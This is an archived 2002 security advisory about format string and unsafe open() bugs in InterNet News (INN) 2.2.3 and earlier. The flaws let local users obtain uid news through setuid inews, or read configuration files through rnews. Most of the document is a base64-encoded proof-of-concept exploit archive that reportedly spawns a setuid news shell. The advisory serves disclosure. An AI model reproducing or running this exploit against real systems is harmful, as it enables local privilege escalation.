TUCoPS :: Unix :: General :: unix5262.htm

INN - InterNet News format string overflow
15th Apr 2002 [SBWID-5262]
COMMAND

	InterNet News format string overflow

SYSTEMS AFFECTED

	inn <=2.2.3

PROBLEM

	Paul Starzetz [http://www.starzetz.com] says :
	

	There are several format string coding bugs as well as  unsecure  open()
	calls. In particular the inews and  the  rnews  binaries  are  affected.
	This may lead  to  serious  security  problems  if  those  binaries  are
	installed set-uid and are executable by any user. In the case of  inews,
	obtaining  uid  news  is  possible  (which  can  be  further   used   to
	replace/trojan other system files like the binaries themselves), in  the
	case of rnews, access to  probably  sensitive  inn  configuration  files
	seems possible (like inn password hashes etc).
	

	The attached archive contains a short proof of concept code for  one  of
	the format string bugs (look in the inews.sh script  for  more  details)
	in the inews binary. The code has been succesfully tested  against  SuSE
	7.0 where inews and rnews are setuid news. Later distributions seems  to
	use another security conecept - the  binaries  are  either  only  setgid
	news or  are  not  runnable  by  ordinary  users.  The  exploitation  is
	technically difficult - it requires a fake NNTP server  setup  somewhere
	(the code comes with the tar  package).  Note:  this  is  NOT  a  remote
	exploit. Look at the code for more  technical  details.  The  code  will
	create a setuid news shell.
	

	 Exploit :

	 =======

	

	Content-Type: application/octet-stream;

	 name=\"innexpl.tar.gz\"

	Content-Transfer-Encoding: base64

	Content-Disposition: attachment;

	 filename=\"innexpl.tar.gz\"

	

	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

	W7VVW7VVW7VVW7VVW7VV+3/Y/g2I/YuhAFAAAA==

	

	

SOLUTION

	Not yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH